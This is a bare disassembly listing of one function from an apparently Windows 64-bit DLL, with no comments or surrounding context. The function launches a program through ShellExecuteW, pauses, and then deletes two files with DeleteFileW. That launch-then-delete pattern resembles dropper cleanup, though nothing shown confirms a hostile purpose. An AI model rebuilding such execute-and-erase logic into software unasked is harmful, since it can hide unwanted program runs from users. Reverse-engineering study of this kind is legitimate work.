mov qword [rsp + 0x20], rsi
lea r8, [rbp - 0x58]
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [0x1800e23d8]
lea rax, [rbp + 0x3b0]
mov qword [rbp + 0xbf0], rax
lea rax, [rbp + 0x810]
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x3d0]
mov qword [rbp - 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
mov qword [rbp + 0x3c0], rsi
mov qword [rbp + 0x3c8], rsi
lea rcx, [rsp + 0x70]
call fcn.18000ef78
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x3b0]
call fcn.180004fa4
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], r14
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x810]
call fcn.1800012dc
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x3e0], rsi
mov qword [rbp + 0x3e8], rsi
lea rcx, [0x180021a54]
call fcn.18000ef78
mov r8, rax
lea rdx, [0x180021a54]
lea rcx, [rbp + 0x3d0]
call fcn.180004fa4
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], rsi
mov qword [rbp + 0x408], rsi
lea rcx, [rbp - 0x28]
call fcn.18000ef78
mov r8, rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x3f0]
call fcn.180004fa4
nop
lea r9, [rbp + 0x3b0]
mov r8, rbx
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x3f0]
call fcn.180001824
mov ecx, 0x3e8
call qword [0x1800e23d8]
lea rcx, [rbp + 0x430]
cmp qword [rbp + 0x448], 8
cmovae rcx, qword [rbp + 0x430]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x410]
cmp qword [rbp + 0x428], 8
cmovae rcx, qword [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rbp + 0x5f0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x6b0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x410]
call fcn.180004b10
nop
lea rcx, [rbp + 0x430]
call fcn.180004b10
nop
lea rcx, [rbp + 0x830]
call fcn.180004b10
nop
lea rcx, [rbp + 0x6d0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x850]
call fcn.180004b10
nop
lea rcx, [rbp + 0x870]
call fcn.180004b10
nop
lea rcx, [rbp + 0x220]
call fcn.180004b10
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, r14
jb 0x1800044ed
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r15
jb 0x1800044e7
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x18000461f
call fcn.18000a544
nop
lea rcx, [rbp + 0x278]
call fcn.180004aa8
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, r14
jb 0x180004530
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x18000452b
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x180004625
call fcn.18000a544
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], sil
mov rdx, qword [rbp + 0x218]
cmp rdx, r14
jb 0x180004579
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, r15
jb 0x180004574
add rdx, r12
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r13
ja 0x1800045bf
call fcn.18000a544
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], 0xf
mov byte [rbp + 0x200], sil
lea rcx, [rbp + 0x450]
call fcn.180004b10
nop
lea rcx, [rbp + 0x470]
call fcn.180004b10
add rsp, 0xc98
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.18000f3f4
nop
call fcn.18000f3f4
nop
call fcn.18000f3f4
nop
call fcn.180004d04
nop
call fcn.18000f3f4
nop
call fcn.18000f3f4
int3
call fcn.18000f3f4
nop
call fcn.18000f3f4
nop
call fcn.180004d04
int3
call fcn.18000f3f4
nop
call fcn.18000f3f4
int3
call fcn.18000f3f4
int3
call fcn.1800012a4
int3
call fcn.18000f3f4
nop
call fcn.1800012a4
nop
call fcn.1800012a4
nop
call fcn.18000f3f4
nop
call fcn.18000f3f4
int3